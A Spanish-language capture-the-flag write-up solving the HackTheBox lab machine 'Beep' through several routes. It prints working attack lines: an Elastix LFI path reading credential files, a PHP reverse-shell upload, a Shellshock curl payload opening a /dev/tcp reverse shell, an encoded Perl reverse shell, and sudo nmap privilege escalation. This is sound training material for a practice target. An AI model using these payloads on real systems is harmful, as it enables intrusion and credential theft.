HTB Beep
¡Hola!
En esta ocasión vamos a resolver de la máquina beep
de HackTheBox.
La máquina es nivel “Easy”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!
PREPARACIÓN
Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre beep
y los subdirectorios recon
junto con exploit
, con el objetivo de organizar la información que recopilemos en la realización de la máquina.
mkhack beep
cd !$/recon
RECONOCIMIENTO
Accedemos al directorio recon
e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl
time to live de una traza ICMP.
osping 10.10.10.7
[*] Detectando sistema operativo ...
[+] 10.10.10.7 ttl=63 >> Linux
Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.7 -oG ports | grep open
#Resultados
22/tcp open ssh
25/tcp open smtp
80/tcp open http
110/tcp open pop3
111/tcp open rpcbind
143/tcp open imap
443/tcp open https
880/tcp open unknown
993/tcp open imaps
995/tcp open pop3s
3306/tcp open mysql
4190/tcp open sieve
4445/tcp open upnotifyp
4559/tcp open hylafax
5038/tcp open unknown
10000/tcp open snet-sensor-mgmt
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.
nmap -p22,25,80,110,111,143,443,880,993,995,3306,4190,4445,4559,5038,10000 -sCV 10.10.10.7 -oN versions
#Resultados
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
| 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_ 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp open smtp?
|_smtp-commands: Couldn't establish connection on port 25
80/tcp open http Apache httpd 2.2.3
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: Did not follow redirect to https://10.10.10.7/
110/tcp open pop3?
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 877/udp status
|_ 100024 1 880/tcp status
143/tcp open imap?
443/tcp open ssl/https?
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2017-04-07T08:22:08
|_Not valid after: 2018-04-07T08:22:08
|_ssl-date: 2022-08-12T04:36:17+00:00; +4h48m04s from scanner time.
880/tcp open status 1 (RPC #100024)
993/tcp open imaps?
995/tcp open pop3s?
3306/tcp open mysql MySQL (unauthorized)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
4190/tcp open sieve?
4445/tcp open upnotifyp?
4559/tcp open hylafax?
5038/tcp open asterisk Asterisk Call Manager 1.1
10000/tcp open http MiniServ 1.570 (Webmin httpd)
|_http-server-header: MiniServ/1.570
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: Host: 127.0.0.1
Host script results:
|_clock-skew: 4h48m03s
RECONOCIMIENTO WEB
Iniciamos con el reconocimiento del puerto 80
por medio de la utilidad whatweb
para identificar software que sea potencialmente vulnerable o de utilidad para nosotros.
whatweb 10.10.10.7
#Resultados
http://10.10.10.7 [302 Found] Apache[2.2.3], Country[RESERVED][ZZ], HTTPServer[CentOS][Apache/2.2.3 (CentOS)], IP[10.10.10.7], RedirectLocation[https://10.10.10.7/], Title[302 Found]
Inspeccionando las peticiones podemos ver un panel de login con el servicio elastix
.
Vamos a realizar fuzzing por medio de wfuzz
, esta vez para encontrar rutas con posible contenido que pueda ser útil.
wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt httpS://10.10.10.7/FUZZ
#Resultados
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000047: 301 9 L 28 W 308 Ch "help"
000000131: 301 9 L 28 W 311 Ch "modules"
000000002: 301 9 L 28 W 310 Ch "images"
000000187: 301 9 L 28 W 308 Ch "mail"
000000113: 301 9 L 28 W 310 Ch "themes"
000000245: 301 9 L 28 W 309 Ch "admin"
000000255: 301 9 L 28 W 310 Ch "static"
000001184: 301 9 L 28 W 308 Ch "lang"
000004689: 301 9 L 28 W 307 Ch "var"
000005506: 301 9 L 28 W 309 Ch "panel"
Al revisar los directorios, podemos identificar diferentes rutas que exponen la información sensible de los servicios encontrados, sin embargo, no se tiene éxito al conseguir una posible credencial del portal inicial, por tal razón buscamos exploits públicos que puedan tener relación con el servicio encontrado.
searchsploit elastix
#Resultados
Elastix 2.2.0 - 'graph.php' Local File Inclusion | php/webapps/37637.pl
Se detecta el siguiente exploit que logra una exposición de información sensible a través del aprovechamiento por LFI
o local file inclusión, el cual se identifica explorando el exploit encontrado.
searchsploit -x php/webapps/37637.pl
#Payload de explotación
/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
El siguiente paso es ejecutar lo anterior junto con nuestro objetivo en el navegador, de la siguiente manera.
https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
Esta máquina es bastante interesante por las diferentes maneras de llegar a realizar una intrusión en estos ejercicios, a continuación, vamos a ver algunas de estas.
INTRUSION + ESCALADA DE PRIVILEGIOS SSH
Iniciamos con SSH
, debido a que tenemos acceso a contraseñas que pueden ser reutilizadas para acceder a la máquina por parte de un usuario administrador, así que básicamente vamos a ingresar con las credenciales que encontramos anteriormente y tenemos directamente acceso a una shell interactiva como usuario root
.
ssh root@10.10.10.7
#Resultado
Unable to negotiate with 10.10.10.7 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 root@10.10.10.7
root@10.10.10.7's password:
Last login: Tue Jul 16 11:45:47 2019
Welcome to Elastix
----------------------------------------------------
To access your Elastix System, using a separate workstation (PC/MAC/Linux)
Open the Internet Browser using the following URL:
http://10.10.10.7
[root@beep ~]# whoami
root
INTRUSION VTIGER
La segunda intrusión se lleva por medio del ataque por LFI
, toda vez que, es identificado el servicio vtiguer
como primera carpeta del payload ejecutado.
Logramos un acceso a un nuevo portal, por lo que vamos a probar las credenciales obtenidas, teniendo total capacidad de navegar en el servicio web.
Realizamos la búsqueda de posibles vías de explotación en el portal, logrando ingresar a los detalles de la organización.
En esta sección es posible subir archivos de extensión JGP
, por lo que se procede a generar una shell en PHP
de extensión JGP
de la siguiente manera.
vim shell.php.jgp
<?php
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 4564 >/tmp/f")
?>
Guardamos la shell y subimos el contenido donde se almacena la imagen de la organización, no sin antes ponernos en escucha por el puerto que asignamos en la shell.php.jgp
.
nc -lnvp 4564
Guardamos el archivo en la web y obtenemos una shell interactiva con el usuario asterisk
sh-3.2$ whoami
asterisk
INTRUSION WEBMIN
Ingresamos al servicio alojado en el puerto 10000
y automáticamente detectamos una extensión CGI
, lo que presuntamente puede ocasionar un ataque por shellshock
, en esta ocasión la contraseña funcionó con el usuario root
así como sucedió en la intrusión por SSH
, logrando un mayor grado de enumeración de la máquina víctima.
Nos ponemos en escucha por medio de un listener.
nc -lnvp 4564
Ejecutamos el siguiente comando, habilitando comunicaciones con cifrados débiles y entablando una reverse shell por medio de una ejecución remota de comandos en el script session_login.cgi
como el usuario root
.
curl --tlsv1.0 -sk -X GET "https://10.10.10.7:10000/session_login.cgi" -H "User-Agent: () { :; };echo;echo; /bin/bash -i >& /dev/tcp/10.10.14.3/4564 0>&1"
[root@beep webmin]# whoami
root
INTRUSION 18650.py
Otro de los exploits públicos para elastix
es ocasionado por una ejecución remota de comandos, por lo que vamos a utilizar el exploit 18650.py
para esta intrusión.
searchsploit elastix
#Resultados
FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution | php/webapps/18650.py
Descargamos el exploit.
searchsploit -m php/webapps/18650.py
Este script de explotación requiere de 4 datos:
- RHOST
- LHOST
- LPORT
- EXTENSIÓN
El único dato que no conocemos es el número de extensión, por lo que vamos a hacer uso de la utilidad svwar
para identificar la posible o posibles extensiones configuradas en la máquina.
svwar -m INVITE -e100-999 10.10.10.7
#Resultados
+-----------+----------------+
| Extension | Authentication |
+===========+================+
| 233 | reqauth |
+-----------+----------------+
Modificamos el script con los datos solicitados anteriormente.
vim 18650.py
rhost="10.10.10.7"
lhost="10.10.14.3"
lport=4564
extension="233"
Para este ejercicio debemos configurar el archivo /etc/ssl/openssl.cnf
para lograr comunicaciones por cifrados débiles de la siguiente manera.
sudo vim /etc/ssl/openssl.cnf
#MODIFICAR AL FINAL DEL ARCHIVO
#MinProtocol = DEFAULT@SECLEVEL=2
MinProtocol = None
#CipherString = DEFAULT@SECLEVEL=2
CipherString = None
Nos ponemos ahora si en escucha.
nc -lnvp 4564
Ejecutamos el script con python2
python2 18650.py
Obtenemos una shell con el usuario asterisk
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.7] 37775
whoami
asterisk
INTRUSION PAYLOAD DE 18650.py
Lo que realizamos es una variante del script anterior, detectando el tipo de solicitud que realiza a nivel web y modificando cada uno de los parámetros, agregando los permisos de ejecutar peticiones con cifrados débiles.
Creamos un listener.
nc -lnvp 4564
Ejecutamos la petición modificada.
curl --ciphers DEFAULT@SECLEVEL=1 --tlsv1.0 -k "https://10.10.10.7/recordings/misc/callme_page.php?action=c&callmenum=233@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%2210.10.14.3%3a4564%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A"
Obtenemos una shell con el usuario asterisk
.
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.7] 60412
whoami
asterisk
ESCALADA DE PRIVILEGIOS
Una vez que tenemos acceso a la máquina, realizamos el escalamiento de privilegios, en este caso, revisando los permisos a nivel de sudo
.
sudo -l
#Resultados
User asterisk may run the following commands on this host:
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/bin/yum
(root) NOPASSWD: /sbin/service
NOTA: Intenta realizar la escalada por cualquiera de estos 3 permisos a modo de ejercicio.
Se identifica que es posible ejecutar el comando /usr/bin/nmap
con privilegios, por lo que vamos a hacer uso del escalamiento de GTFObins obteniendo acceso al usuario root
.
sudo nmap --interactive
#Resultados
Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-3.2# whoami
root
FLAGS
Una vez tenemos acceso a la máquina, tenemos la posibilidad de leer la flag user
y root
#USER
find / -name user.txt 2>/dev/null | xargs head -c 10; echo
52143a2a96
#ROOT
find / -name root.txt 2>/dev/null | xargs head -c 10; echo
a896454076
¡Hemos logrado completar la máquina beep
de HackTheBox!
¡Que tengan un buen día en el planeta donde se encuentren!
Nos vemos en otro bit..